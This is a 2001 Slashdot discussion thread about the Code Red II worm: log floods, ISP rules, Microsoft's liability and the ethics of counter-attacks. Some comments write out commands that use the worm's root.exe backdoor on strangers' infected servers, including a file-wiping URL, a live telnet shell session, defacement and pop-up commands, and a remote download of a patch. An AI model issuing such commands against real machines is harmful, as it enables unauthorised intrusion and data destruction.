    * mDmcOaA5pDmoOaw5sDnAOeA56DnsOfA59Dn4Ofw5ADoEOgg6HD o8OkQ6SD
    /dev/null

  38. Re:Someone needs to write by norton_I · · Score: 2, Interesting

    That is probably illegal, and certainly a bad idea (self reproducing code almost always causes problems even when you don't intend it to) but what I wonder is if you could get away with creating a CGI called default.ida that attempted to automatically connect back to the client, disinfect the machine, and install a patch. It is much less dangerous since it doesn't reproduce, and you could certainly make the argument that it was only done in retaliation to someone (unwittingly) attempting to infect your computer with a virus.

  39. Re:Wasted bandwidth by isorox · · Score: 2

    Nope, look at your EULA

  40. huge cable modem hits by rknop · · Score: 3, Redundant

    I've got a cable modem on nash1.tn.home.com, and my iptables log is seeing a huge number of hits (we're talking an average of several a minute, more or less) to port 80. Since I'm not actually running a web server, I don't have the logs that tell me if this is in fact Code Red, but I suspect that's what a huge amount of this activity is.

    It's depressing, really.

    -Rob

    1. Re:huge cable modem hits by IronChef · · Score: 2


      You aren't even supposed to send email to your job from an @home account. (no joke, tech support is adamant about that.) They have an @work package if you need to do business stuff.

      In typical @home fashion, the upgrade to @work isn't available to all @home subscribers, because it is a DSL service, not cable modem... the coverage doesn't overlap 100%.

      I'll keep violating the @home TOS quite happily, so long as they are dense enough to let me.

    2. Re:huge cable modem hits by Croaker · · Score: 2
      No kidding. My cable modem data light blinks non-stop now.

      Mine too. I'm on AT&T Broadband/Road Runner/Whatever the hell they are calling themselves now.

      I have a website up, so Apache is logging all hits on the site... it seems the access_log is only logging one attempt to access the site per infected host... the error_log indicates that the worm is actually hitting the site three times in quick succession (I think over a period of minutes). The only thing is, neither log really accounts for all the traffic that appears at the modem. Everything else is being blocked by the router/firewall appliance, which doesn't have great logging capabilities.

      It looks like Red Alert recently hit a motherload of AT&T broadband sites, since I am seeing mostly sites hitting me that trace back to AT&T. Like another poster mentioned, you're not supposed to be running servers (so... sshh! I'm not running anything ;). I'm willing to bet a good number of people have an install of Windows 2000 or NT up with IIS installed and running by default. I bet most don't even know they are running a web server, much less that it's been infected. The few sites I tried to access that appear in my log all have the default "this page not available" thing, which is what I think IIS coughs up if you've not made some directory the server root.

      I suspect one thing is that the DSL and cable companies may be prompted to crack down on servers hosted on their network. I mean, if they really wanted to enforce the ban, they can just do a sweep of their network and tell you to know it off or they will pull the plug. I wonder if they will actually start doing this.

    3. Re:huge cable modem hits by interiot · · Score: 2
      I mean, if they really wanted to enforce the ban, they can just do a sweep of their network and tell you to know it off or they will pull the plug.

      They don't even have to go to that great of an effort. All they need to do is have their routers check a single bit in the TCP header to see if it's an incoming SYN packet, and ignore all of those.

      I assume they haven't done this because it would piss off ICQ users and such. And I think they really mean "no bandwidth hogging servers".

      But they could easily block incoming SYN packets on specific ports (in fact, they have the ability to do this, they're doing it for a very limited number of ports (netbios)). I assume thir unwritten policy is to be nice, but they want to have a legal safety net there for when they want to start swinging their axes. Kind of strange, I think.

    4. Re:huge cable modem hits by jsse · · Score: 2

      So I install Apache to collect the logs for the historic momemt. :)

  41. Mountain Dew: Code Red by Spaztek · · Score: 2, Informative

    Speaking of Code Red, mountain dew code red is a highly malicious blend of virus, cough syroupe, and caffeine. All are bad except caffeine. Just like this virus, all are bad on windows machines, except those which arent windows machines. I guess linux is like the caffeine of all soda. The good parts :-)

    --
    "If a man watches 3 football games in a row he should be declared leagaly dead" - A
  42. The Breaking Point by tbo · · Score: 5, Insightful

    I think Code Red (and Sircam, which your average Joe will probably lump together with Code Red in his mind) will be the virus that breaks the camel's back. It's gotten constant publicity, it's coming back for a second round, and this time, it wants blood.

    What will happen? I don't know, but here are some possibilities:

    Revolt against Microsoft software. We'd all love for this to happen, but their PR machine is probably too good. Still, we can always hope people realize that MS bears a large part of the responsibility here.

    Lawsuit. Assuming the virus writers aren't found, the next logical targets will be Microsoft, and owners of a large number of infected hosts. Why it probably won't happen: suing Microsoft over this draws attention to the fact that your company's computer systems are insecure, and that your admins were too lazy/stupid to install the patch. Microsoft can always hide behind their patch, which was available well in advance, and claim that "everyone knows that bugs happen, and it's up to admins to keep up to date" (never mind that this contradicts their own marketing material--when has inconsistency ever stopped marketing before?). Suing somebody with a large bunch of infected hosts is also silly, since, to be infected by them, you have to be just as inept as them.

    Government Intervention. Some state governors may push silly state bills, but they'll be irrelevant. What would really get interesting is if the Feds pass some sort of laws, either making people responsible for keeping their systems secure, or defining what kind of liability software manufacturers are exposed to in these circumstances (i.e., can you sue MS? For how much?). Why it probably won't happen. With Congress and Bush on vacation, not much will get done in at least the next month, and things will probably have come to a head before then. Only if this round does serious damage (perhaps the world's biggest DDoS against some high-profile targets, like Akamai), and another generation of Code Red pops up in September (just in time to catch all those college PCs with their pirated copies of Windows 2000 Server and high bandwidth), will this become a real possibility.

    Internet Collapses. I really doubt it, I just had to say it to satisfy Cringley :-) Seriously, though, things may get slow, but I have a feeling vigilante efforts (counter-worms, Apache scripts that reboot infected attacking Win boxes, etc.) will keep this from happening.

    So, which will it be, folks? This would make a great SlashPoll.

    1. Re:The Breaking Point by Saint+Nobody · · Score: 3, Funny

      yeah, i laughed when i got a port 80 hit from cust2120.EzSecureHosting.com it's apparently not as secure as they would have people think, so customer 2120 could probably sue them.

      and microsoft has the same "we make no guarantees" clauses that free software licenses have, so either the case would be dismissed, or clauses like that would be ruled illegal, which could be bad for free software, unless they only made it illegal to attach those clauses to commercial software

      --
      #define F(x) int main(){printf(#x,10,#x);}
      F(#define F(x) int main(){printf(#x,10,#x);}%cF(%s))
    2. Re:The Breaking Point by nyet · · Score: 2

      None of the above.

      I vote for

      Crucify the next virus writer (or other random, innocent hacker) they manage to catch and pass more inane laws that have no other effect but to make your life as a programmer even more difficult. Microsoft will hailed as the "hero" in the case, them being the underdogs against a sea of malicious open source hackers, when they release a patch that closes the script kiddie hole of the week, but not much else. 3rd party vendors will scramble to create more useless server side "personal firewall" applications that filter ONLY traffic based on *OLD* infection methods. No attempt will be made to make IIS itself less of a security risk. No reporting of IIS cgi-child processes running with admin level permissions will be made. Releasing the results of virus related research will become illegal. Discussing possible future vulerabilties will become illegal. Using any "hacker" operating system (e.g. not made by Microsoft) will become illegal. Using the word "virus" or "worm" anywhere on the Internet will earn you a visit from the FBI (after all, if you are innocent, you have nothing to hide). That small inconvenience of having all of your "computer related" possessions confiscated (including your home and car) and yourself thrown in jail w/o bail is insigificant when compared to the amount of viruses prevented from spreading.

    3. Re:The Breaking Point by nyet · · Score: 3, Insightful

      The security flaw was exposed to the public (not kept secret), and a patch was released & made available a full month before the main CR outbreak. They did everything they reasonably should have.

      Except that IIS still runs with admin priveledges. Nice try though.

    4. Re:The Breaking Point by Kris_J · · Score: 3, Insightful

      You forget ICE -- the rather romantic "Intrusion Countermeasure Electronics" -- an automated response to terminate unauthorised hack attempts. I'm currently running the IIS shutdown line as specified by other /. posters for every IP address that probes me (I'm on a dymanic 56k dialup, I should not be getting HTTP requests -- I never did before CodeRed). It would probably be trivial to automate the process, and POOF! your first ICE program.

  43. Anyone still consider this a Microsoft problem? by NetJunkie · · Score: 2

    I can understand admins not patching when the fix first hit. The usual "Won't happen to me problem". But now? After all this press? All the news stories?

    I think the systems we're seeing infected now are either workstations with IIS installed and the user doesn't know/remember, or server with no real support staff sitting in a closet somewhere. Now the question is, will they EVER get patched?

    Someone whip up a worm that patches systems. Be like a cyberwar from the movies. How cool is that? :)

  44. ...and these machines are proud of it! by Sun+Tzu · · Score: 4, Interesting

    heheh! Not only is it a fine remote administration feature, but it's also pretty slick the way machines upgraded in this way advertise their new status to everyone with a webserver on port 80.

  45. Securityfocus asks for IPs by mawis · · Score: 5, Informative

    To notify the administrators of the attacking servers you can send their IP followed by the date and time of the attack to aris-report@securityfocus.com. - Please use this format because it's a robot address. http://securityfocus.com/announcements/310

    1. Re:Securityfocus asks for IPs by blakestah · · Score: 2

      This one works for me for default apache logging options. 50 IP addresses so far. All your IIS servers are belong to me.

      grep \?XXX /var/log/apache/access.log | mawk '{ print($1 " "$4 " " $5) }' | Mail -s "Compromised machines" aris-report@securityfocus.com

  46. Experiment by XBL · · Score: 2, Interesting
    I am on @Home, and have an unpatched Windows 2000 Server (Warez Edition) installation. I've just turned it on a half-hour ago. Now let's see how long it takes to get the worm. If I get it, I'll post an update with the time.

    Right now my NIC is flickering like mad, yet Windows 2000 does not show these as incoming or outgoing packets. What is going on?

  47. Gnu/Sircam? by Tachys · · Score: 2, Interesting

    I wanted to know would it be possible to make a similar virus for Linux using a Bash Shell.

    If not, why not?

    1. Re:Gnu/Sircam? by jorbettis · · Score: 2
      Similar to Sircam? Not presently.

      MIME attachments won't have the execute permission set, which means that a script would have to be saved to disk and executed by the user with the command

      $ bash virus.sh

      Or the user would have to set the execute permissions himself:$ chmod u+x virus.sh
      $virus.sh

      Granted, a mail reader could be written to do all of this itself after the user ``clicks'' on the attachment, but I am aware of none that exist at the present time that have that ``feature''.

      Plus, since GNU/Linux (and all Unices) is a multi-user permissions based system, sircam would only be able to touch those files to which the user has read access. As long as the administrater isn't reading his mail as root, you'll never have to worry about some luser mailing his /etc/shadow to you.

      So, until Microsoft writes a port Outlook and starts certifying ``Linux Engineers'', no, there won't be a sircam for GNU/Linux.

      --

      Jordan Bettis

      ``Wherever you go, there's another stupid sigfile quote.''
    2. Re:Gnu/Sircam? by Glytch · · Score: 2

      I don't doubt it. Frankly, it's hard to imagine a feature that Emacs doesn't have and/or hasn't had. :)

    3. Re:Gnu/Sircam? by Goonie · · Score: 2
      IIRC, Emacs *did* have a problem allowing mail to contain arbitrary bits of elisp code which were auto-executed by emacs, but they took out this feature a long time ago.

      Anybody got more details?

      --

      Any sufficiently advanced technology is indistinguishable from a rigged demo
      --Andy Finkel (J. Klass?)
  48. CmdrTaco runs Windows by �nubis · · Score: 3, Funny

    I still think sircam is more annoying since it affects every email user

    Every email user?!? CmdrTaco must run Windows. Let's get him!

    1. Re:CmdrTaco runs Windows by M.+Silver · · Score: 2
      Every email user?!? CmdrTaco must run Windows. Let's get him!

      I think the notion is that it affects non-Windows people as recipients of unwanted random files. (Code Red affects non-Windows people as port 80 hits, too, but that's relatively trivial, and unlikely for minimally-connected dialup people.)

      --

      Slashdot's token middle-aged housewife
  49. Re:Wasted bandwidth by Velox_SwiftFox · · Score: 2
    Is there no way that companies could sue Microsoft due to loss of business / bandwidth charges, caused indirectly by poorly written software?
    Nope, look at your EULA

    Microsoft's EULA prohibits me from suing them for bandwith charges for the stuff their crap throws at my Linux/Apache setup?

    Wow, they must have better lawyers than I thought.

  50. I'm sorely tempted . . . by Floyd+Turbo · · Score: 5, Insightful

    Is there a Windows command line equivalent to "shutdown -h now", by any chance? I know I really shouldn't do it, but I'd be so sorely tempted to write a script that would shut down any infected box that scanned mine.

    The more I think about it, the more it seems like a permissible act of self defense. It does no harm to the infected box (if the worm doesn't write itself to disk, as I've read, it actually helps) and prevents the infected box from being used to perpetuate more abuse.

    Hmm . . .

    1. Re:I'm sorely tempted . . . by Greyfox · · Score: 5, Insightful

      You want this: http://support.microsoft.com/support/kb/articles/Q 202/0/13.ASP Happy little command called IISRESET. I think an IISRESET /STOP is in order...

      --

      I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

    2. Re:I'm sorely tempted . . . by Floyd+Turbo · · Score: 3, Insightful

      C'mon now, I'm not talking about killing the guy, or even his box. I'm not talking about wiping his harddrive or even installing a fix without the owner's permission. I just want these damned things to stop eating up my bandwidth.

      And while I'm not going to get cracked by the worm myself, I am getting hammered by others in the same /8 as me who weren't immune. I'm also not thrilled about thinking what the author of this new version is going to do with all the boxes he's rooted.

      Given all that, I'm still having a hard time deciding that telling the offending machine to turn itself off isn't a valid, proportionate response to this sort of thing.

      OK, OK, I'm not going to do it, but man . . .

    3. Re:I'm sorely tempted . . . by blakestah · · Score: 2

      That machine has been remote rooted, and anyone who has an httpd log is receiving it on a news broadcast. If it is running mission critical software, anyone and their brother can do anything they want to the mission critical software.

      The best thing you could do for that machine is shut it down. Its defenses have been COMPLETELY compromised. Without any defenses, the machine is useless.

      Besides, only a total idiot would run mission critical software on an unpatched IIS server, particularly after the past few weeks.

    4. Re:I'm sorely tempted . . . by Eric+S.+Smith · · Score: 2, Insightful
      Both legally and ethically the right thing to do is to notify the owner of the offending machine

      ...assuming that you can determine who that person is. And, ethically, if you were walking down the street with a fire extinguisher and saw somebody's garbage can on fire, would you really, uhh, leave them a message on their answering machine?

      The fire extinguisher in this case is ipconfig /release, I think. Bonus marks for picking the right interface on a machine with more than one NIC.

    5. Re:I'm sorely tempted . . . by SCHecklerX · · Score: 2

      Well then they damned well BETTER shut it down, b/c in the state it is in, it is CERTAINLY a larger threat to that person's life, being able to be fucked with!

    6. Re:I'm sorely tempted . . . by gmhowell · · Score: 2

      There is a binary called "shutdown.exe". Not sure if it came with a service pack or option pack, or from a stock install. It's actually not that bad.

      The neat trick is that you can shutdown remote boxes. I think you do need admin privileges, though.

      Since you are going to do this to Code Red boxen, they already have the telnet server, and you should easily be able to put the binary on that server.

      BTW, you can also send a message. For example, to tell the admin why this is happeneing:

      shutdown.exe "Your server is being shutdown now. You have been infected with Code Red [1,2,3], and it is pissing me off. Next time, please try to keep track of patches and upgrades. BTW, this (should | should not) clear up your problem. No need to thank me. Moron."

      Add the /r switch if you want the machine to reboot. Add /t:x where x=number of seconds until shutdown (default is 20). Enter other machines on the network (Windows machines) as \\machinename.

      --
      Jesus was all right but his disciples were thick and ordinary. -John Lennon
    7. Re:I'm sorely tempted . . . by spongman · · Score: 2

      iisresest /stop kills the IIS process, which would stop any threads that are running within it (including those CR2 threads).

    8. Re:I'm sorely tempted . . . by e_n_d_o · · Score: 2

      I could not get this to work on my own NT4 machine, its on sp6a. Any ideas/corrections?

      Thanks

  51. The problem with fixing IIS servers automatically by Velox_SwiftFox · · Score: 2
    Is that Miscrosoft's patch only works if you have service packs installed (Read: rebooting the machine at the least).

    Because those who are most vulnerable to the wormvirus are the companies with the most clueless sysadmins, the set of machines with uninstalled service packs (and running Index Server by out-of-the-box default, the vulnerable component) probably largely overlaps the set of Code Red machines.

    Yes, having to administer one of these along with Solaris and Linux boxen, I've patched mine; trivial).

  52. A prediction by nugatory · · Score: 2
    http:// {infected ip here } /scripts/root.exe?/c%20del%20/Q%20/F%20/S%20c:\*.*

    It's not if as many /.ers need to be told about the existence of the DEL command, and the intellectual leap required to recognize that the ability to execute an arbitrary command implies the ability to execute a particular command seems rather modest to me.

    But before we mod this down as an insult to the intelligence of the /. readership, there is a more interesting issue: This particular inspiration is going to occur to a fair number of vandals, kiddies, and assorted undersocialized individuls. Many of them will do something more destructive with it than posting it to slashdot. More generally, the level of sophistication needed to attack a CRII-compromised machine is low, much lower than even script-kiddie level, low enough that any moderately determined wolfcub with a bent hairpin and a telnet client can do tremendous damage.

    Thus, CRII has suddenly created and widely advertised a pool of very vulnerable machines. It would not be surprising to find that the worst damage is done by vandals following along behind CRII, just as looters follow behind natural disasters.

  53. Ummm, no actuall by kfg · · Score: 4, Funny

    If you take the water away completely and hold the frog over the heat sorce itself it will roast.

    Sorry, I'm "in a mood" today and I couldn't help myself.

    Still, it's interesting. If you put the frog in cold water and slowly turn up the heat what it will do, being cold blooded, is go to sleep long before it dies and *poaches.*

    What is the relevance and why should anyone care? Lobster.

    The correct way to cook a lobster, not matter what *anyone* tells you, is to put it in cold water and bring the heat up. The lobster relaxes and goes to sleep before it cooks.

    If you just dump it in hot water it goes " Eeeeeeeeeeee," tightens up all of its muscles and pumps lactic acid throughout its system before it dies.

    Starting in cold water is both more humane and results in quite noticably tastier lobster.

    KFG

    1. Re:Ummm, no actuall by waveman · · Score: 2, Insightful

      Even more relaxed lobsters and nicer food if you float the lobsters in wine until they become unconscious. We did this once and the results were excellent

  54. How to get a list of all infected hosts by braddock · · Score: 2, Interesting
    So I have this log of about 100 CR2 hosts who have attacked my web server, and each of those infected hosts have probably got records of 100 other hosts that have tried to reinfect them in their logs. If I snarf all their logs, I'll have 10,000 compromised hosts that I've got root access on. Do it one more level, and I've got every compromised machine on the internet. How long until some kiddie scripts that up?



    OR, one group could patch all those infected hosts...or at least notify the admins.



    I've got a full analysis of this at http://braddock.com/cr2.html

  55. In other news... by wrinkledshirt · · Score: 2, Funny

    ...timothy and cmdr Taco both showed up to work today wearing matching golf shirts and Dockers pants. Upon further inspection, it was determined that they also had the exact same type of socks, shoes, and belts (they stopped short of comparing underoos). At some point, Hemos was quoted as saying, "You know, I think you two should talk to each other before coming in to work."

    --

    --------
    Bleah! Heh heh heh... BLEAH BLEAH!!! Ha ha ha ha...

  56. Re:Wasted bandwidth by dbarclay10 · · Score: 2

    Well, the EULA still applies :) You couldn't sue Microsoft, but you could sue the companies whos servers are infected(and hence spamming your box).

    MS has absolutely no liability(legally) in this particular instance. Personally, I think it's gross negligence on their part, and I think some *severe* measures are in order.

    Quite frankly, I don't give a shit that they're a monopoly. My local telephone monopoly is *wonderful*. Very nice, very courtesous. As a business owner and a consumer, I'm very happy with them. But Microsoft is just plain mean and negligent.

    Dave

    --

    Barclay family motto:
    Aut agere aut mori.
    (Either action or death.)
  57. Your Mission, Should you Decide to Accept it... by Greyfox · · Score: 2
    Set Apache up so when it sees a code red probe (get default.ida blah blah blah) telnets to that machine's port 80 and shuts down the web server.

    Extra credit: Disinfect the machine with the security patch from the MS Web Site.

    As this would be completely passive (Rather than patching the code red code) it should be slightly less dangerous than releasing a new worm to the net. And since it would affect only machines that have already been compromised, it should be slightly less ethically questionable than patching the worm code to do something new and the releasing it. I'm sure I'll get flamed for suggesting it nonetheless...

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  58. Aural Feedback by Aldurn · · Score: 3, Interesting

    I was curious just how often RedCode attacks. Sure, looking through the apache log files is nice, but it just didn't give me the sense of urgency... the quick succession at which attacks take place. So, I whipped up a quick perl script to play a noise every time I was "attacked". Needless to say, it's getting kind of annoying, but it still is incredible:

    #!/usr/bin/perl
    while(1) {
    system("cat /var/log/your-access.log | grep XXXXXXXXXXXXX | cut -d \" \" -f 1 | wc -l > attacks_b");
    $returnval = system("diff attacks_a attacks_b > /dev/null");
    if(0!=$returnval) {
    system("cp -f attacks_b attacks_a");
    system("play buzzer2.aiff &");
    }
    sleep(1);
    }

    --
    char sig[120] = "\0"
  59. A Warning to Whitehats by Ms.Taken · · Score: 5, Informative
    Anyone working on scripts which respond to Code Red attacks by patching the originating server should read this cnet article, which calls that approach 'hack-back'.

    From the article:

    The FBI has dismissed using any hack-back tactic as well. "It is not something that we could consider," said spokeswoman Debbie Weierman. "It would basically be viewed as an unauthorized intrusion."

    It's not clear from the article whether such an 'unauthorized intrusion' by a private citizen would be illegal, but it might be worth thinking about before you go riding out to do battle with the Red Worm.

    1. Re:A Warning to Whitehats by Glytch · · Score: 2

      I don't know what Mr. Sandone considers "locking down computer systems to prevent activity that could be compromising", but shouldn't that include fixing buggy software?

  60. Let me get this straight by blakestah · · Score: 2

    Let me make sure I understand this one.

    I grep \?XXX from /var/log/apache/access.log

    grep \?XXX /var/log/apache/access.log | mawk '{print($1) }'

    Then, for each result, I can telnet to port 80 and remote root the machine with a single get request for scripts/cmd.exe ??

    I have 45 such hits in my log files, mostly from machines at my ISP. That is truly ridiculous.

  61. Re:Yup, sircam is more annoying by NonSequor · · Score: 2
    Is he still using it? The answer to that question really determines weather...

    That's pretty damned amazing. To think that weather can be determined by a simple yes or no question.

    --
    My only political goal is to see to it that no political party achieves its goals.
  62. Now that I've got access to hundreds of boxes by rjamestaylor · · Score: 2
    how can I alert these losers to the problem?

    Here's where I got:

    [root@yy-yy-yy-y-yy user]# telnet xx.x.xx.xxx 80
    Trying xx.x.xx.xxx...
    Connected to xxx-xx-x-xx-xxx.co.sprintbbd.net (xx.x.xx.xxx).
    Escape character is '^]'.
    GET /scripts/root.exe HTTP/1.0

    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Sun, 05 Aug 2001 21:42:59 GMT
    Content-Type: application/octet-stream
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.

    c:\inetpub\scripts>
    Suggestions? (Non-destructive, please, the goal is to alert not hurt)
    --
    -- @rjamestaylor on Ello
    1. Re:Now that I've got access to hundreds of boxes by Anonymous Coward · · Score: 2, Funny
      White hat way:
      GET /scripts/root.exe?\c start [helpful info site]
      GET /scripts/root.exe?\c net send 127.0.0.1 You have Code Red! Patch your webserver, dammit!

      Black hat way:
      GET /scripts/root.exe?\c start http://goatse.cx/
      GET /scripts/root.exe?\c net send 127.0.0.1 j00 h4v3 b33n 0wn3d by [your name here]! u sux0r! 1 r0x0r!
      GET /scripts/root.exe?\c echo h4x0r3d by [your name here] > ..\index.html

      Weirding Way:
      GET /scripts/root.exe?\c start [Dune website]
      GET /scripts/root.exe?\c net send 127.0.0.1 We've got wormsign!

  63. White Hat Viruses? by VValdo · · Score: 2

    With all those destructive virus-writers groups and everything, you'd think by now there'd be an Illuminati-type secret organization of white hat programmers somewhere out there that cripple viruses and release a "serum" strain to innoculate systems and close MS's holes.

    It would be illegal of course, but, well, Robin Hood broke the law too.

    (I'm not advocating this of course, just thinking it's curious no such organization exists)
    W

    --
    -------------------
    This is my SIG. There are many like it, but this one is mine.
  64. Re:Someone needs to write by nyet · · Score: 2


    GET /scripts/bash.exe?-c%20"/c/inetpub/scripts/wget.ex e%20http://mssjus.www.conxion.com/download/winntsp /patch/q300972/nt4/en-us/q300972i.exe"


    tried that. Unfortunately, you need cygwin wget. Is there an explorer.exe equivalent to wget?

  65. Now I can try and /. myself :-) by GC · · Score: 2

    I've been recording the hits of V1 and V2 from my machine since early this afternoon, thanks to a very handy Perl script provided by another Slashdot user.

    You can find the results and a link to the script here

  66. Re:Wasted bandwidth by einhverfr · · Score: 2
    Actually, the patch was released in June after the overflow was discovered by eeye.com... Lousy admins did not apply the patch or read the advisory (MS01-033).

    I do think that MS deserves some blame because they have made it insanely easy to administrate an NT box functionally by insanely hard to do so competently. The OS is user friendly but very obfuscatory (note that even apple never marketed Macintosh as a server, at least not until OS X-- they sold servers running Apple UNIX). How many questions on the MCSE exams covered planning for disaster recovery or planning for internet security (hint: less than one)? Those of us who prefer UNIX do so because it is easier to administrate properly though it requires more knowledge to do basic tasks... The learning curve is constant and does not get as steep as NT's does...

    Microsoft also has a history of poor security programming. For example, the Microsoft implemtation of PPTP uses the users a hash of network password for the encryption key for the session. This does not necessarily make it easy to break into an account, but it does effectively prevent any forward security because your key will not change until your password does... I would not trust them with any critical information or production servers, and that includes IIS.

    Not that it matters really-- of FreeBSD and Linux can gain enough dominance, they can effectively take the money out of the small server OS (fewer than 4 processors) and that would be a major blow to Microsoft and it would prevent them from being able to make billions off that industry...

    --

    LedgerSMB: Open source Accounting/ERP
  67. I am not a robot by ryanr · · Score: 2

    Though I feel like one about now... long night. :)

    Those are going to a shared e-mail alias. I get copies of everything, as well as a few other people. Unfortunately, because they are coming in many format types, we have to compile them by hand. But absolutely, please do send us the logs and have them in the format requested.

  68. This looks big time by JerkyBoy · · Score: 2, Informative

    Holy crap. http://www.msnbc.com/news/606910.asp

    --


    Always do right. This will gratify some people and astonish the rest. -- Mark Twain
  69. Re:affects every email user? by Chris+Johnson · · Score: 2
    I'd say having hundreds of megabytes to download over a 56K modem constitutes 'affecting' me :P

    I send you this file to have your advice!

  70. 213.77.4.237 has been attacking me and by ssimpson · · Score: 2

    ....proudly sports the "Powered by Win2000 Server logo".

    I fucking know that you are running Win2k server, that's why you're infected with code red and attacking my poor linux box ;)


    --
    "Mary had a crypto key, she kept it in escrow, and everything that Mary said, the Feds were sure to know."
  71. Re:Someone needs to write by spongman · · Score: 2
    sure, here's some javascript that'll do the same thing:
    var req=WScript.CreateObject ("MSXML2.XMLHTTP");
    req.open ("GET", WScript.Arguments (0), false, "", "");
    req.send ();
    WScript.Echo (req.responseText);
    for example, create a file 'get.js' with that script in it, and do 'cscript get.js "http://www.google.com"'. You could also do this from an ASP page. You might need to upgrade IE, or get the XML parser update from MS for this to work right.
  72. New Sites report on CR2 by stuccoguy · · Score: 4, Informative
    CNN has very little to say about the subject.

    MSNBC has a longer story.

    Fox News has a few words to say.

    ABC copied the AP story.

    CBS still seems to think the red tide is receeding.

    Meanwhile the worm has knocked on my computer's door six times since I started this post. Uh, make that seven.

  73. My .02 by cyberwench · · Score: 2
    When he pled guilty, Mr. Butler admitted that he intentionally and without authorization accessed computers of the U.S. Department of Defense between approximately May 20, 1998, and May 26, 1998. Specifically, from his residence at the time in San Jose, he intentionally used computer programs which conducted automated, unauthorized system compromises on hundreds of computer systems, including the Department of Defense computers referred to above. When his automated attacks were successful, he obtained root (or superuser) access, then downloaded hacking tools to the target computer systems, and installed software which closed the holes he used to gain entry. The Department of Defense computers were exclusively for the use of the U.S. Government and were used in interstate and foreign commerce.

    While I realize that the press release is unlikely to cover his side of things, this doesn't sound like an equivalent situation. If you have more info, pass it along... I'm not familiar with the case and may be totally off-base. The primary difference seems to be that the other machines weren't attacking his.

    The idea of having machines do directed retaliation against attacks is something the government itself uses, as I believe do some companies. While I will grant that changing things on someone else's computer is on questionable ground, I also think that given the circumstances (a machine is attacking yours with a virus) you are probably on safe ground to respond. I think it would only be legal if it was in non-self-propagating form - that is, only used as an automatic response to an attack.

    That said, it would be a lot safer if you could filter out governmental IPs... those are the only ones that would be likely to cause any major fuss.

    --
    ~ Leilah
    1. Re:My .02 by camusflage · · Score: 2

      Another reply included a link to an article in Wired. Without having looked at it, it's probably a better version of the story.

      Max had a good idea. He got greedy though, and his counter-worm left a backdoor. Would they have pursued him as thorougly if he hadn't have left the backdoor? Likely, especially since he hit .mil systems.

      There's a difference between making a request to a server and getting its response, and making a malformed request to a server in the hope that it executes your code. Whether the code is benevolent or malicious, it's all the same. You're doing things to other peoples property that they neither ordinarily allow you to do nor ask you to do. Even with the best of intentions, you're still executing your code on someone else's system.

      "Oh, I'm sorry! You were saying about 'best intentions'? Oh, you're finished? Well, allow me to retort."

      --
      The truth about Scientology, Xenu, and you: Operation Clambake
  74. Exactly why you cannoy trust the security by einhverfr · · Score: 2
    Of a compromised web server. With any version of such a worm, someone could write a script to infect all systems that hit their site with a backdoor either using the virus as an active client (as you have done) or the same vulnerability the virus exploits (we know it is vulnerable because we know it is infected).

    This is exactly why an infected server should be rebuilt and properly secured...

    --

    LedgerSMB: Open source Accounting/ERP
  75. Try this by jsse · · Score: 3, Informative

    jill.c. Don't regard it as a malicious exploit, it's infact a very powerful remote administration tool. All our NT boxes are not attached to Internet so we don't worry. :)

  76. Listen Code Red * authors! by jsse · · Score: 2

    Why don' t you add a checking to stay away from Apache servers?! The worm would be more difficult to trace without all those access.log evidence....

    You are overloading my /usr/log/apache man.

  77. Automated notification script by the+way · · Score: 3, Interesting

    To automatically notify webmasters of infected sites, if you have mod_perl/Apache, use this script:

    http://forum.swarthmore.edu/epigone/modperl/nehzah prerm

    It identifies any attempt to access '/default.ida', looks up the MX records of the remote IP, and sends a notification to postmaster@. It is not a 'hack back', just a notification email.

  78. Re:Apache users Create default.ida 5mb!!!! by Anonymous Coward · · Score: 3, Interesting

    Or you could setup default.ida as a perl script that telnets to the ip's 25 port and sends an email with the fact they have a box thats screwed.. like the guy did here.

  79. report report report! by shokk · · Score: 2
    Continue to mail in the suspected hosts...

    grep default.ida access_log* | mail -s 'APACHE' redalert@dshield.org
    so they can keep a count of the infections and see how the worm is propagating through the networks. I myself have been hit 154 times today, but that's a low number because my ISP made our cable modems go dynamic addressing recently. A link to the source code can be found on the page and here. Check frequently, as he updated the code a couple of revisions just today.

    --
    "Beware of he who would deny you access to information, for in his heart, he dreams himself your master."
  80. How to send a message to the poor bastards by Brian+Stretch · · Score: 4, Informative

    A user on grc.security (news.grc.com) suggested using the Windows "net send" command to send a pop-up message to the infected user. net.exe won't talk across the Internet, but you ought to be able to run the net.exe program on the rooted IIS box, something like:

    http://ipaddress/c/inetpub/scripts/root.exe?/c+n et +send+%25COMPUTERNAME%25+You+have+been+infected+by +the+Code+Red+II+Worm+which+attempted+to+attack+my +server

    %25COMPUTERNAME%25 translates to %COMPUTERNAME%, which returns the Windows hostname. I know that works from one of my failed attempts that gave me a reply, but with the above string, I get back a page with "Error in CGI Application" as
    the title:

    CGI Error

    The specified CGI application misbehaved by not returning a complete set
    of HTTP headers. The headers it did return are:

    and it doesn't give me any return. Can anyone verify and/or debug this? It *might* be working.

    The %USERDOMAIN% variable might be useful too, so you could send to the whole Windows domain, "Machine LUSER on DOOFUSDOMAIN is infected with Code Red II" or some such. %USERDOMAIN% is the machine name on systems on a workgroup.

    1. Re:How to send a message to the poor bastards by Fester213 · · Score: 2, Interesting

      I do something similar, except I pop up an IE window pointing to a page on a site I host explaining code red and how to fix it. I always get that CGI error, but my server logs report a hit from the infected host on my explanation page. So that error is perfectly normal - it's working.

      --

      -- Fester
      "Freedom is the freedom to say that two plus two make four. If that is granted, all else follows."
    2. Re:How to send a message to the poor bastards by Brian+Stretch · · Score: 2

      I do something similar, except I pop up an IE window pointing to a page on a site I host explaining code red and how to fix it. I always get that CGI error, but my server logs report a hit from the infected host on my explanation page. So that error is perfectly normal - it's working.

      Great! One significant change has been suggested:

      telnet x.x.x.x 80
      GET /scripts/root.exe?/c+net+send+%2A+Machine+%25COMPU TERNAME%25+has+been+infected+by+the+Code+Red+II+wo rm+and+attacked+my+server HTTP/1.0

      %2A is *, which will send to all machines on a workgroup in a workgroup configuration, and I would presume all machines on a domain as well. This should be fairly easy to automate... but it's late, so I'll let someone else play with this.

  81. Re:Try pulling the IP up in your browser by Pathwalker · · Score: 2

    I've been having fun with that myself - I have a list of everyone who hit me here.
    Lots are home users who probably don't realize that they have IIS running, but there are a few sites that look like decent sized places.

